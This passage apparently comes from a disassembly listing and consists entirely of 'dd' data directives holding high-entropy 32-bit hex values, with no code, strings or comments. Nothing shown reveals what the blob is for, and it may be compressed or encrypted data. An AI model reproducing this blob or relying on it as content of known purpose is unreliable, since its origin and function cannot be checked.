4A6D6EEEh dd 0C13B94ABh, 2E190D44h, 12BB4725h, 2B44B16Bh, 5C811B9Bh dd 2EB41ECFh, 29133922h, 25BA795Fh, 2D48B5FDh, 21F8CDB3h dd 0A005B295h, 4C4677C2h, 3CAC36C4h, 1BD23C2h, 50178A70h dd 0D653DC8Ah, 92086108h, 93C7E953h, 0C08EDBABh, 12FB4977h dd 0B4BB1766h, 0BF19F082h, 455AC400h, 4B85687Fh, 97FF7253h dd 0A502CF07h, 0DCA0EF5Bh, 0CBB8277Ah, 8B79177Bh, 126052C8h dd 4BCB9F8h, 0BF6104C8h, 4CA0C6CAh, 0AA0B05E6h, 0DDBB4B74h dd 32DDE782h, 88C0F01h, 5602F97h, 0EF0CE13Ah, 6558E4A7h dd 0E9179922h, 962801E7h, 52CB0481h, 0AC55C497h, 5BF5C9DBh dd 191859B4h, 8213DD6Ch, 0A3D21298h, 12013BB3h, 6FAB2059h dd 5162303h, 250FD94h, 89321CFFh, 9C78465Bh, 4BE41297h dd 3988BACBh, 389D0EA2h, 7D00C14Ch, 4903BE52h, 75115F05h dd 6BAF36F6h, 1192314h, 79289608h, 0F456CA91h, 6D044609h dd 37EBC142h, 22BE2B10h, 685596DFh, 62E2BB4Fh, 419D101Eh dd 0AFC6D3F7h, 5FDFB6E0h, 855B4597h, 86FE34BFh, 0D0BD7986h dd 65B973h, 0A8AC643Ch, 7A0957F1h, 0DE8B6190h, 0CB9604Dh dd 1002F0E9h, 0EA3775A8h, 0DDB0F7A5h, 6E4A12BFh, 8B0B0AE2h dd 1EB758F8h, 6A7D480h, 9C25AD5h, 8DE84F9h, 0E095550h dd 0FD858D2Dh, 9060666Fh, 0A86B17h, 0F5239EC6h, 69BD0B81h dd 0AD26045Ah, 310F2FC0h, 5BD5CC92h, 411B1E1Eh, 796415Dh dd 2DDA2C66h, 29AC105Fh, 1B6D2785h, 9DF8254Eh, 4D3DEC91h dd 0BD8B4A78h, 0A5130D48h, 938FF90Bh, 0BFFFE4D0h, 7FFE0051h dd 0A2C0E6E1h, 9FE65DA4h, 32F2912h, 308CE8A2h, 520BBB43h dd 0C11B4386h, 639A1521h, 0DEDC1E3Bh, 100C05DEh, 0FFB34634h dd 37F97ADAh, 8CBF0E9Fh, 0EAE5C0C1h, 4E11A14Bh, 64A260h dd 79C5AD80h, 1CBFD4h, 1A7CA0ACh, 8509372Ch, 0EE80F95Eh dd 9FFB8B59h, 45110DEh, 0D01AFBD2h, 5000B09Ah, 345F8673h dd 9193F877h, 2D26203h, 0FAF4CC7Ch, 0CE06647Eh, 88F7BED9h dd 486D884Ah, 8263CE09h, 82F85981h, 0A559D09h, 0A28B4E55h dd 55E27FBFh, 5AEDC55Fh, 956EC6D5h, 21A4861h, 77808B96h dd 0EE505531h, 7CA9BAC1h, 7729A2A4h, 87542B42h, 4A1646DEh dd 0B85BAABCh, 0B78DDD96h dd 0EA2AA2FEh, 4F8AC611h, 11ECDCE9h, 0B003971Ch, 6023DB83h dd 0DE661756h, 0BA65FF5Bh, 1643A3BFh, 250B31F5h, 0ACFE530Fh dd 1E5FCF37h, 0D6FEA545h, 0EC98D61h, 29330Dh, 0F25269C0h dd 4F99264Fh, 0AD0CFD7Bh, 0F8023127h, 0D1BF7F5Ch, 0DFCE0957h dd 1445104Dh, 82F2CA62h, 0FA0D29FEh, 0BC71900h, 3BF84E27h dd 54FC1BE9h, 0D355F009h, 8779779Eh, 7DA7F924h, 6C270E35h dd 835509B3h, 0F25E79DFh, 10AFF517h, 245B12FEh, 9C21BA0Ch dd 8BDC0828h, 9941CCCh, 6C6D0551h, 2A1DC918h, 30B7CE04h dd 0C5CE0BBDh, 0DF76ADB2h, 42B9DE16h, 0B8EAA9A4h, 0FA83001Ah dd 81E43CE3h, 991789EBh, 0B1C80DDDh, 7F7302D7h, 0B660770Ch dd 0FE41D6C4h, 89ABEA54h, 0A4BABD32h, 0F951ED0Dh, 578C312Bh dd 9A9C6E5Fh, 0B9DEB74Dh, 825060E2h, 7F118DF9h, 8951B7A9h dd 52551244h, 41868D4Ah, 2F1BC9A0h, 0B4B699EDh, 0E93389F3h dd 3C09FFEAh, 0F0C02EEDh, 359352h, 53C812C7h, 293DBD33h dd 0E4D74795h, 32866016h, 0FA895B05h, 0A7E0C556h, 81F01B0Eh dd 0C2B42DEAh, 63551412h, 0FFD179D0h, 0C80560E6h, 0B60C5C23h dd 0B6EB655Bh, 0AF205EE5h, 0CBC22B58h, 0C1D2F01Ah, 5A4D3816h dd 98129C09h, 0E3C50A9h, 3A81D003h, 841945CCh, 2D9C6594h dd 0E90F8325h, 284C72D9h, 44FBC88Bh, 4037036Dh, 0C27C4F3Ch dd 8BD3A9C5h, 2012D6E7h, 5293275h, 0C3FDDF8h, 20D1030Ch dd 4DBDFD8Dh, 0D1208B1h, 8F640018h, 836DA005h, 0F2044EC4h dd 8B51135Ah, 8110F101h, 1446B0A9h, 335909B5h, 3C02C3C0h dd 0BC460129h, 0AA2B2445h, 0D2682A30h, 0D49A25A7h, 285CED57h dd 8208D004h, 0EB656138h, 0E8F2D3h, 62C3DBE3h, 4C9C66Dh dd 20D09E75h, 0FEF8CC6Eh, 0E5E39900h, 0E774666Bh, 3B8E85Bh dd 0C381FCD7h, 0FA8463C7h, 0AD2B03CDh, 7927003Bh, 0F1C57586h dd 88F65F33h, 0E505E277h, 97D194B4h, 34FFCEC0h, 806D991Eh dd 75E3E931h, 0B8001A70h, 0C97BD445h, 3A2B10h, 80835835h dd 5F5AB9C6h, 0D4406696h, 90ABDB4Bh, 493E09DCh, 0D700D2CCh dd 0F7815AC8h, 5F085B0Bh, 4F070079h, 9475AE25h, 594E40C0h dd 2409027Ah, 80DDD3C2h, 0ED122AF9h, 0E5580027h, 84A84972h dd 690BEF81h, 0E07BD0AFh, 4AF1E5h, 8B575AC0h, 33048FD7h dd 0CCA18C0h, 0FED4803Bh, 0C3EE7C83h, 1B7BC816h, 9D82FEFBh dd 851E415Eh, 0BF0DE0BAh, 11FFCC3h, 987D5224h, 0E0F899F3h dd 7A78697Bh, 307FD31Dh, 4100795Dh, 86261D82h, 2BF41DEBh dd 33FC4C65h, 21C76108h, 0C3B02E3Ch, 90F72Ch, 4AD8EEB0h dd 5CBAF189h, 7576831Dh, 63970746h, 13C13160h, 881D2638h dd 184CA718h, 0E8DD517Dh, 0D00EC7Ch, 7EE37B74h, 0C0873CC5h dd 7D739548h, 0AE6368E5h, 9D5810h, 5AEE6439h, 263552CEh dd 0DEB2300Fh, 0E7818009h, 3B996E16h, 7D80E877h, 0A8BDEA48h dd 3600D9C4h, 0A59A3243h, 846FEFh, 0D62A7087h, 7B63FE91h dd 8FE0CCE4h, 11510C00h, 0D1E24E1Fh, 13D63F5Dh, 8623D400h dd 0F22E0B65h, 0DD692700h, 0CF9268C8h, 55CB3C11h, 6284C380h dd 0EC8ED93Ch, 21FCB614h, 563007E8h, 63973385h, 0A18E510h dd 0AB5C00A2h, 74E12D8Ah, 0B8744E52h, 5F37BD07h, 620C1D2h dd 332BE2E0h, 0A208C83Eh, 0D9F22100h, 0DB264C1h, 8136000Ah dd 447C838Bh, 8A31024Bh, 0F4F710A3h, 326C3081h, 0DB2CEC59h dd 0F5BF4100h, 16E884C8h, 30C2F046h, 0F4208F01h, 14000624h dd 0BC139619h, 1837A78Ah, 38806CEEh, 0DE009D74h, 0E307DD78h dd 663E8953h, 219308EBh, 78D97E1Ch, 252F54Eh, 8C21FA39h dd 40A65824h, 0CDB00810h, 0C14D7800h, 0A5581D38h, 0DFC6A011h dd 0FBE0002Ah, 0DA576C71h, 41D51DBh, 3BC4D330h, 0C980EF36h dd 0EAB1F37h, 1B0E707Eh, 0AE07038Fh, 8E554007h, 14001853h dd 0FB2B2D09h, 0D87A1EEh, 60CBDE4Ch, 4389E818h, 7C64EB3Bh dd 2F0E7F6h, 90FC71EEh, 4472618h, 30127E28h, 9661B292h dd 0F500CEF3h, 9AD37017h, 694A8Eh, 22E091Bh, 0A7E5EA2h dd 2162151Bh, 804E930h, 823A2890h, 0E0A79290h, 0C4B15C2h dd 141E988Ah, 0DB0D1878h, 0D1168779h, 60AB1C0Ch, 4BDF1901h dd 0E11F89FCh, 0EF997AA9h, 4C08D098h, 126B3E18h, 6848FDC0h dd 545C211Ah, 231C44h, 224A3B8Eh, 0B8CE5D5h, 87DBC0E3h dd 7E200660h, 79BD4C3h, 8E1C0349h, 604C4183h, 0E6D8CF4Dh dd 0F96EAC66h, 0E4D507B1h, 4E6D9F60h, 514F1D8Eh, 548C392Fh dd 0AC510EB6h, 44311067h, 4D863811h, 288A79F0h, 7CF6043h dd 0DCA664E8h, 0B16697D4h, 80B88E1Fh, 0EC45E579h, 0FCDC29FDh dd 0A0725025h, 0FB344426h, 0A8BC9114h, 5E970F98h, 0ACB7804Eh dd 3945B9h, 6F0A4F65h, 124BFDC3h, 887A420Ch, 149A7941h dd 246A19DEh, 0F8019D22h, 12ADFDD0h, 9AF0A68Ch, 0EC465089h dd 0DA7E09EDh, 1C236447h, 0EFE829BBh, 670C0A82h, 8329A13h dd 4821C0BFh, 8C4B4622h, 2579F307h, 9A607008h, 0C80A641Ah dd 0DCCAD351h, 3282F605h, 20872822h, 2C462F5Bh, 0BA5ED01Fh dd 75C5D880h, 30CB828Dh, 4A6026B5h, 62402E95h, 3802608Fh dd 54B4C910h, 73A38E12h, 9D648054h, 7D63E206h, 205E0011h dd 30E7C650h, 0FF330FF3h, 5B5708C8h, 43EB021h, 0FBC34C00h dd 8C29355Eh, 2670A59h, 23B8B682h, 10DED094h, 1C08FA24h dd 0FC972982h, 0B2644032h, 442CA76Ah, 636661BCh, 9C3A330h dd 0E71BA5Ah, 8420867Eh, 0AC828082h, 0E5001E07h, 1F3B44h dd 23BBA811h, 0DA2FED90h, 46003C71h, 0F1C210Ah, 3FC3F9EEh dd 74006899h, 0C1F8E7Fh, 4E2E2BC8h, 0D012051h, 3D9A17CBh dd 779FAF0h, 1B0B4E0h, 0BC0380DEh, 81709108h, 0A9BD1900h dd 1B26B2F5h, 41D103B1h, 976CCD94h, 42E0D3E0h, 0ABFEE600h dd 5B724DEh, 0DAE0F5Eh, 27032122h, 78C2533Ah, 0EBC1ADC1h dd 6985AA0h, 3218EB00h, 9DB7E95Fh, 8F066A7h, 61002129h dd 6BE218E3h, 542AE5h, 2358E106h, 0AE3E6DABh, 0D567DC03h dd 0F92722FCh, 38806E18h, 0FEAF094Eh, 4600A74Fh, 0B19DB593h dd 6EDD9606h, 3C675826h, 446D4140h, 0BA118057h, 22DFE146h dd 30320C15h, 44085DD9h, 3E9321C1h, 8970BDE1h, 492560FFh dd 0E6D6C01Dh, 81B0213Bh, 0C6CC6EBh, 784238FBh, 18EA3088h dd 0E15F3311h, 60802888h, 327318E2h, 0D11000EAh, 2C02FF7Ah dd 50C10483h, 7452A1A5h, 93DFC88Ch, 2C186B60h, 59202B7Fh dd 0CDFF007Dh, 0BF0B9A71h, 892EF8A9h, 0F600C40Ch, 981BF322h dd 5A7B001Dh, 164BF5D7h, 380074C2h, 94D909E2h, 0D3864Eh dd 0D4FCC9B4h, 0ADA91247h, 9E90A41Eh, 0E9B7803Ah, 315285ACh dd 468D0020h, 0BF5EEEAh, 1D00B6C4h, 8C9A453Eh, 6C5A04h dd 0D2A57D05h, 0D5085C3Ah, 65378200h, 0AA200D11h, 0DD1400C7h dd 4F74ECFCh, 3B36BD12h, 1B62934h, 0D3203290h, 0E8383E39h dd 921CDB01h, 0C5401304h, 44B006C9h, 0E78C0008h, 88D2773Dh dd 40DF09E3h, 53C08F1Dh, 65D3116Bh, 54C00F48h, 274FF938h dd 2D2FC560h, 90C8450h, 7959080Ah, 6A8800AEh, 778742CAh dd 3E013DAAh, 9C1A03D7h, 1FE95318h, 0C17BE0h, 4E89DE80h dd 476AD1F9h, 0E68320h, 16510A08h, 3E575EB8h, 76980E63h dd 0D38EB085h, 137C308Ch, 0FC9554F0h, 915AE719h, 0B5100740h dd 91C0353Bh, 5DF28BEFh, 0A01C3ADCh, 61F5FE00h, 2E6E03B6h dd 0A8AAC106h, 3E38626Ch dd 9A8E34D5h, 3ECF3092h, 9170280h, 65E2FE5Ah, 0D30FC300h dd 27CA53D7h, 760709Ah, 33FFF0F5h, 0B6E6A0E5h, 6158B923h dd 219F0092h, 3ACD0E34h, 0A55E0093h, 0D1DEC708h, 9200FA2Eh dd 55BD0DDh, 0C1624Eh, 947CF7A4h, 0C9E750F6h, 65330B00h dd 3CB61B8Eh, 583D6097h, 7283ACBh, 1E66358h, 0C7BAFD1Eh dd 38808B70h, 7A3011AAh, 7C010F4Ch, 97E3B8F2h, 10801BDDh dd 0C9615A7Dh, 0B000E4EEh, 0CEE77FD8h, 2990E1h, 63CF1E37h dd 0DAB9328Eh, 44BB4500h, 0FE77178Dh, 0F795067Ch, 89945447h dd 0CC730F00h, 0D23B2C76h, 498A3A26h, 9FDE3078h, 48B03D20h dd 0EF506060h, 0E0CD7FE4h, 606C614Fh, 0EB403661h, 414292F8h dd 60E29648h, 1EEF8D18h, 4D1100F6h, 81AAE16Ch, 1D01F5F4h dd 2ACF9A32h, 50DC36EFh, 9E7883h, 0C8FCD2F0h, 8FBF21C2h dd 0AF567200h, 3208F72Ah, 8B260189h, 0DC38A5ABh, 9796053h dd 37CCE900h, 0D13C174Eh, 0FB0F00C0h, 9D4CA4CEh, 9700EF68h dd 0E054AE9Bh, 0E01FE2Fh, 2841FCCFh, 0BA448340h, 650DF661h dd 0AE108D59h, 3C2DE6C4h, 9E38B4A9h, 6FDE2103h, 0B2D01826h dd 20039660h, 0E71D8A47h, 9C480E3h, 0A7F00388h, 0AF68AE9Dh dd 0DEC6918h, 3BE9019h, 0C7243606h, 0F0AE11F5h, 0F2A1F90Ch dd 7E715066h, 0CEBD006Eh, 72CFA054h, 0E8026538h, 3D1E61B2h dd 90D68070h, 0C0E44C17h, 0FBFE5619h, 33FEF2B4h, 455CFD07h dd 38C16B86h, 4DC8E0E8h, 0DF50DDBCh, 18060036h, 4333216Ah dd 0E040856Fh, 0EB666D05h, 0C8BE0080h, 0A0599460h, 9C1F8393h dd 0CAC068DFh, 6180EA58h, 2DD082Ah, 47D0BE70h, 1B078CA7h dd 43CE7B11h, 1E0B304Ch, 410D2008h, 645B8636h, 0D80898C6h dd 0C1749D1h, 0CAA8EF20h, 4FF8EBC8h, 19723C0Eh, 66014FB6h dd 4658D5FFh, 21FA0F71h, 0C4C628D3h, 0FC2B4FBEh, 392AF240h dd 3C066E89h, 0A8002C50h, 0CF954691h, 0EC0017A1h, 97369E73h dd 0CD60EDh, 0F81BCE5Fh, 0B805425Bh, 0CB905A60h, 83EE6h dd 0A092A5C2h, 6D691550h, 944EC62Ah, 0B96F5518h, 60C9EB78h dd 0AAAC942h, 5B00D183h, 0EC13A5D0h, 0CD62268h, 0D9A2877Eh dd 0F2001A31h, 67B20A57h, 6F76B6h, 5C1C8CBh, 80E88D31h dd 6DD8A200h, 1665D947h, 6C3024C9h, 7B6B0908h, 0BDB19D80h dd 0B000EFC0h, 426EA567h, 9738AF1h, 0B301C75Fh, 82930800h dd 0F918579Fh, 81A167C9h, 3A87208h, 86DE2BDAh, 8321BC2h dd 0E0AB214Fh, 2840ADh, 0B5E53CB8h, 0FE6DC10Bh, 0E6F85963h dd 0F805F897h, 6030D957h, 8D31894h, 33DBF9A8h, 824269C4h dd 0DE0A91Ch, 620383FBh, 5A6D43C4h, 1B658166h, 48C7DFDCh dd 1D843CB2h, 0ECCB0072h, 3E678510h, 1C14436Ch, 0EF1288A1h dd 7AD30C38h, 0CF065A40h, 0A80443B7h, 418087A1h, 8E86DF6h dd 0C3591874h, 5F918916h, 6E5FA9F2h, 5719F6ACh, 1036A8C9h dd 12E46A69h, 19A6501h, 0E6BF6E68h, 6170804Eh, 0BA699EF1h dd 87080338h, 0B31EC36Bh, 0B09C3824h, 488DEB80h, 4D7774Bh dd 11E457F3h, 690098ABh, 0FA2CEA18h, 499A540h, 0A2096154h dd 0A9D240B3h, 6682C9Ah, 91EDFB9Dh, 0BB600894h, 9971F321h dd 922A01A3h, 930B9E2Eh, 393820CEh, 0EC081341h, 90349238h dd 0F4164440h, 47827512h, 3FC20001h, 0C451EC76h, 31852404h dd 1C6AF4D8h, 0FD10080h, 0E96F56AFh, 0D660BCA8h, 5050AD72h dd 4E3ED0E4h, 3E681FC1h, 0D26B2070h, 0E3E1C084h, 5D73FD6Dh dd 0C832091Dh, 11A8A0D4h, 0C503EA31h, 95F3819h, 0B4FF5828h dd 66502166h, 1B9081F1h, 9A04AB18h, 0FA8D68F2h, 9AF0512Ch dd 2E23401h, 0EF6A45E7h, 204DC2E0h, 3A1815BAh, 4480E57Ah dd 9A39F4EBh, 22B9814h, 0E49D7206h, 9361A524h, 14088C2Ch dd 1F20E9h, 6064721Bh, 4EDF5199h, 0D612CA00h, 8A5CBC9Eh dd 1268DD61h, 0A274006Bh, 5EBD35F2h, 0FF6880A1h, 0C228E5E0h dd 8440CF26h, 0B34D1B80h, 667C19h, 0FBF22047h, 87A0B7A8h dd 10D1CFh, 2ADA585Eh, 0BEF33A7Dh, 4BB157B0h, 0D5003C44h dd 6BF4C29Eh, 60D96963h, 0F0AF7043h, 4626A482h, 9D00781Bh dd 0BFA820DEh, 0E8A229D5h, 800C1180h, 0E38E722Bh, 62458C1Ch dd 0E72F4DCh, 0BFE5B558h, 4FD7D4C0h, 0C51BF22Eh, 88784451h dd 90E178E6h, 0D0D61200h, 0FFB00CCAh, 0B40464F1h, 189FEDB7h dd 23EAC080h, 8FDF224Dh, 0F9EB9C30h, 7D0B3012h, 0A9A03EFDh dd 298D2489h, 9684C00h, 20340545h, 0C82C86Bh, 0A8073018h dd 53DA0D08h, 6C25620Fh, 0AA1FA605h, 0F94F3A4Ch, 744CE88Ch dd 0DEE3002Dh, 78A8CC5Dh, 0A6017E1Fh, 0E0BE2BA2h, 4C3451C2h dd 88A040CEh, 0F0DA71C1h, 0D430CCE5h, 0C9C9068h, 7804424Eh dd 0C801D821h, 0A0552715h, 72DC9076h, 0F8A56493h, 3C4243C6h dd 1831766Ah, 50BE15C7h, 39247EBAh, 0D6839832h, 78094F73h dd 0B3C337C9h, 0C85DE141h, 0D30D451h, 5927580Fh, 9E23007Ch dd 0C0AEC12h, 0F9CE46B3h, 0F4B11D31h, 6F18EC79h, 6A2BF707h dd 8E60B9F8h, 35A48C8Bh, 4916D0Ah, 834E99E8h, 0D1E00204h dd 5900C798h, 9726ECE3h, 36DC535h, 8745844Bh, 0E2C9D8BEh dd 0D3CA604Dh, 3B053770h, 5704E6B2h, 60918CC2h, 0A13941h dd 0AFF187F5h, 235447C4h, 0CDB73B00h, 3ED89EF0h, 3DC100A0h dd 874467EEh, 0C4099578h, 81A955C9h, 0F557B812h, 0D4011026h dd 0BDBC4A8h, 0A70F0BDEh, 9E49A91Dh, 24912C17h, 2DE69480h dd 92021729h, 9C0F16FDh, 66BC4972h, 0DA9F913h, 3D7C3024h dd 8125C512h, 9DB69802h, 298048C3h, 96A3000Eh, 6DC64E7Ah dd 3275C485h, 8FCD9A03h, 0E01878B0h, 5F8AB69h, 0A3FDED6Eh dd 0EEE820BFh, 0B8B26D3Dh, 0C1C53C02h, 60F6BA55h, 1301A180h dd 20391ACFh, 0C73ACE24h, 0A8770B00h, 3D38495h, 0B8855CADh dd 84E8504Ch, 0AE4F008Ch, 2F920C42h, 5512E357h, 0C1762D1h dd 0F9087C7Ah, 4F88E8FAh, 2084D48Ah, 0A77823h, 0F2386569h dd 0C22C6B0Fh, 0F183F0B0h, 0BBCE0BA8h, 4B1030DBh, 9D0F6102h dd 8F0488A6h, 0AD680699h, 0C520D562h, 6E89937h, 0E9C8CC69h dd 760FE8BDh, 84B9283Dh, 0C0CC3A21h, 0A97204F2h, 332684E4h dd 2B210050h, 188D7207h, 0EA1868F5h, 0E98F684h, 133090ECh dd 5011442Eh, 14A82CECh, 600E943h, 27A16358h, 320D361Bh dd 60C7FCFDh, 45055020h, 0A1B8237Ch, 3C0C6DF6h, 5DE3550Fh dd 4047219h, 9C9180C9h, 8C246339h, 376FDh, 0A0D3670Dh dd 0E535E433h, 0C4306062h, 0C3246872h, 0DE2102BEh, 1045249Ch dd 219FF241h, 0CCB0DA54h, 0FF119A9Ch, 0BA888568h, 9964C080h dd 0F8F01E8Bh, 0DABF1862h, 796989A1h, 78405930h, 500CBA6Bh dd 13DE84F8h, 6070111Bh, 2221FB9Ch, 75210EF2h, 396405Ah dd 0DD0EC120h, 602EF7B6h, 3DA6F360h, 59E6F932h, 18B0798Ch dd 8C9B00E2h, 0B6797BEFh, 0DF03DD93h, 6A55596Bh, 2E102EAh dd 849E8D8h, 672A3840h, 0A62FCC14h, 3B0D2394h, 68F09A04h dd 2C738BDh, 550F9965h, 0FC4071FAh, 0B251A8DAh, 0D9F0C388h dd 4015A544h, 0E80B05h, 0E9A9DBD6h, 587DE77Ah, 680B7C31h dd 0EC823BD9h, 151243A5h, 80BB1144h, 0F9BA4739h, 71A00177h dd 2E4DF8FEh, 0D8FC2049h, 60172C07h, 8A6B92EFh, 308B0ABh dd 722C6039h, 0F421E38Fh, 0E9A0BEA5h, 72031971h, 6780C6EFh dd 2A86E837h, 0BF4206D9h, 6856A66Dh, 0BEACE012h, 8F00C04h dd 42D1EB00h, 0C10B1970h dd 99EAE6BFh, 0FF1810B0h, 0E4927208h, 214FC63Ch, 72186000h dd 90779BAAh, 0C38A0B02h, 1013CD3Dh, 588C507Bh, 0E4142EF1h dd 1E8C282Ch, 1A0016D1h, 82BDBC72h, 49C4970Ah, 0D6002417h dd 5CBA187Ch, 1CB1E330h, 64110CACh, 6200F83h, 0ED312ECAh dd 20162A10h, 80527200h, 35B86A3Fh, 59F014D9h, 0EF05FCD2h dd 2485E4Dh, 1ACC3C9Ch, 0B4C0A04Dh, 2684DD3h, 0C269C4E7h dd 4048BE1Ch, 0C12997CFh, 50798C45h, 300218D6h, 0D26A1306h dd 0F50EEBCh, 51F155D7h, 0ABC16CAh, 39F5FCD3h, 76323C0Eh dd 7105E7A1h, 60AC6169h, 0C91EAA34h, 82007B66h, 86D7DA19h dd 0B8302C9Ah, 0F9CC0DECh, 0E9B0EF40h, 0BE46316h, 1350C4Ch dd 0CFFF1085h, 50729E72h, 0EB564EF0h, 1FFEF684h, 748CCDh dd 0FB1ACBE5h, 0DC5A7FD7h, 10B03014h, 0A8C0A21Ch, 65682B9Ah dd 0D022FA43h, 9970FC01h, 0C3485C82h, 9700F03Dh, 0D3F3F2F0h dd 93003725h, 9B63DDAEh, 0E4486Bh, 0A174986h, 0AC343364h dd 6A77D500h, 73CE4C11h, 48C876CDh, 500C04DCh, 696862D9h dd 3D48EA17h, 48CE000Bh, 6184F38Ch, 5ADAE13Eh, 5818409Ch dd 8D00607Bh, 4B350999h, 1E4F8F5h, 3577DB6h, 0F49528BEh dd 0F6FAC614h, 3EB5258h, 0B696F6Bh, 0F388E099h, 0A7560539h dd 3C1F3522h, 0A6043014h, 5E38AF90h, 0B6B71490h, 0E0EE00ADh dd 223D5269h, 0C20A0E07h, 90713E9Ah, 0F2B70B80h, 749C3ECh dd 95DFA8D6h, 1090D0E4h, 30003DB6h, 0B452556Ah, 0CECFE1h dd 76B7E08Ah, 793C2990h, 497C697Fh, 0C5E79900h, 86D660ECh dd 0E14400C6h, 344895F5h, 42240A6h, 0C5D6154Eh, 77009CFCh dd 0DE494B30h, 0CA007DADh, 0FBDA5F50h, 1138684h, 0D46BDCE3h dd 5380A2B0h, 36C872F4h, 8200FEA1h, 33AF3FC4h, 738FCDA6h dd 81590331h, 0AAF023F5h, 0C97F9DA8h, 2972C607h, 0A8C08099h dd 7DA712h, 7C5D03F4h, 84AC452h, 1464407h, 0A4616EDEh dd 72E96031h, 4F9C2183h, 0B4D0C642h, 0D73D9DCAh, 66B90541h dd 8E807B76h, 3CA9E6h, 1A7D3E5Dh, 12FC9269h, 3B072498h dd 0FF41BDF1h, 0ECE2983h, 53842250h, 0D0760E96h, 0F028CA67h dd 0BAE0F46Ch, 3E4F3600h, 0C410A207h, 59E20D85h, 9C3004B3h dd 7B1B3790h, 665DC048h, 6EEF19C2h, 18FFD90Fh, 0DB4304B9h dd 32602601h, 0F18F2745h, 80BF7542h, 7999E928h, 3723E25h dd 0E6528234h, 0D8866DFEh, 5114F503h, 88A606C2h, 0A2677Dh dd 120E48A1h, 0FEC8ABF6h, 568C2600h, 9946F54h, 25B50716h dd 40DCF358h, 3F389C0Eh, 0A1E57900h, 0FC29A865h, 778D0h dd 135E7559h, 1BA9CE1Ah, 9D69C93Eh, 28476ABFh, 0AC936B26h dd 68200266h, 6FF8AFC3h, 0F2E2B7C0h, 7B2B1607h, 0DAA0FC45h dd 301A1CC9h, 62517976h, 0FBEC5AD9h, 349F5Ch, 33FCDBBEh dd 7051B5EFh, 8EAE000Ch, 89A7A146h, 0E50E16BCh, 9C1AF6FCh dd 0D5CA8C81h, 5980930Eh, 4DB1C22Eh, 290C3858h, 8104E0Bh dd 0D521C021h, 13C6B159h, 0A803A376h, 30F45786h, 8974EB90h dd 999D8BCAh, 250485C9h, 0FC08007Fh, 0ABC35432h, 53296003h dd 0A02F48E0h, 0CFD6EEh, 5E5AA5C9h, 0EEB0D8Ch, 2801AC76h dd 47A74A84h, 30F0F81Dh, 4CE400C8h, 668BCF27h, 0FB60D1C5h dd 0E884E3D0h, 1818C612h, 1C0170FDh, 677F8FB7h, 0E5DCD6F5h dd 0F0A1141Bh, 0E600CCD8h, 0F17A1453h, 0EE003B84h, 0E96B07D4h dd 1195FEh, 0BBB43DC8h, 2CA1A5ABh, 0F2698B03h, 0C8BEC142h dd 0E0C9B6h, 2322CEC3h, 0CB91AF9Ch, 6D8D4602h, 0C0E5477Dh dd 26639Ch, 0A5BC7B6Ch, 9E45CD61h, 2BEC9800h, 0DDC095B3h dd 64100E5Bh, 38C0CF59h, 0ACFDA715h, 0A2EAAE00h, 3D6C7D61h dd 9AED0167h, 769E1F86h, 161DF0A1h, 52190D00h, 41115CCEh dd 0CA250FCh, 0BF2D22B9h, 3D081043h, 3484C29Ah, 1426054h dd 2826CD07h, 0D04E0C31h, 6718A7B0h, 884C050Fh, 2DD98176h dd 0A2D04B80h, 0CDBB2CE2h, 821006B1h, 0E9F938BAh, 8C4DE437h dd 0F1411F18h, 31476851h, 59391E58h, 0B3C9F077h, 0E3AE8707h dd 8E501D48h, 0F809A586h, 0D14C1807h, 524B3065h, 0A63F6A1Bh dd 0C151C381h, 2180CE4Eh, 0B7189B23h, 0F778E0CFh, 136FDF0Ch dd 2479BBh, 0C3D0492Eh, 0D891985Ch, 0ED1418C0h, 6339A35h dd 4A571BE8h, 48731D9h, 95140AF6h, 0BED08298h, 0C31A120Ah dd 0A6510394h, 2DB869F3h, 0D40091E1h, 26FF2ADFh, 913B7BEh dd 1559BF30h, 29383806h, 0C511B542h, 86C2114h, 0F99020E0h dd 11516A8Eh, 74118138h, 334D112Fh, 110C9311h, 0A5118014h dd 1F12277h, 7D92AD3Ah, 6060A26Ah, 8000939Ch, 0FC40722Ah dd 13F9587h, 0CD9D7629h, 708F980Bh, 230E04F1h, 405BC194h dd 78CE607Eh, 0BD7D1C50h, 0AE807E4Fh, 5386EF95h, 0D23A130Dh dd 0CB540034h, 0E6B8C159h, 28ED07AAh, 5E988FC6h, 868A5F80h dd 3F005D37h, 0A257A5AEh, 833DCh, 0A652311Eh, 5FE3B495h dd 5EDD1702h, 43AFE0CCh, 743E0EB0h, 3F007AD1h, 7B4F38DBh dd 5A645704h, 0E9C07567h, 9CF08A6h, 61C0F7FEh, 633C6800h dd 0AD073E92h, 4587533Bh, 1C1A8A10h, 0C4982Ah, 0AC0FAE38h dd 781208D1h, 983F2D01h, 9F8C7721h, 39CF90C3h, 9D0900C3h dd 7F729140h, 241C9207h, 83FEAC8Bh, 0E3474BEDh, 0E2AAF94Eh dd 0C04F98F0h, 0C8088CB8h, 0E5041B0Bh, 644416A8h, 138238D0h dd 0D6FCA9h, 5F51987Bh, 4B1E571Fh, 4245D800h, 4452164Fh dd 0C7B3008Dh, 1250E247h, 0F900C9DDh, 935A0468h, 3AF8DC20h dd 0D40E82ACh, 373EDA7h, 0B6CD2FD4h, 351015F8h, 0D94FE400h dd 0D2C74322h, 48E2E4B5h, 7BF4A1h, 0E5EA6F19h, 125BE072h dd 0D1A8E00h, 26382E43h, 31420088h, 1C45BFB3h, 0EA0E95AAh dd 0A0A9E1D7h, 7819DF68h, 0E850C08Ah, 33936BB7h, 2C5FD800h dd 7F301AE0h, 0F22C9072h, 0AE550060h, 0A0E480B7h, 0E60B20A1h dd 97D7EDh, 7B0F76C9h, 0AC90BDh, 0B1048817h, 19CA8DFFh dd 0E9D02200h, 844B2C4h, 9DDE01C0h, 530EBD81h, 1788DCF1h dd 64BEB700h, 49970384h, 7DC903D5h, 708BB83Bh, 30A7C3B0h dd 710C651Ch, 522C5D40h, 3B46090Dh, 0FC8133ADh, 0D74FC297h dd 0C64A20AEh, 2385B901h, 5B681155h, 0A1F4820h, 7F996D3Bh dd 8C7680ECh, 0E4D31AACh, 40BA7A80h, 124158A2h, 3CC3C8EBh dd 0E78A005Eh, 9E4BBF46h, 0D2146BF1h, 1EB0415Ah, 0DC54C707h dd 0FE4701D4h, 3EE109A6h, 7A49F9ECh, 56040069h, 555F9287h dd 0C47CE2D1h, 7F0B091Fh, 82CC9832h, 405EFB91h, 2427346Bh dd 5CFD78h, 0C690B57Fh, 0EEE56E2h, 0C0EFC079h, 4C05ACE5h dd 730CE910h, 0E24BCF1Fh, 0DB9980DCh, 0E291BEB1h, 0F1CA5B1Fh dd 2D7C20CFh, 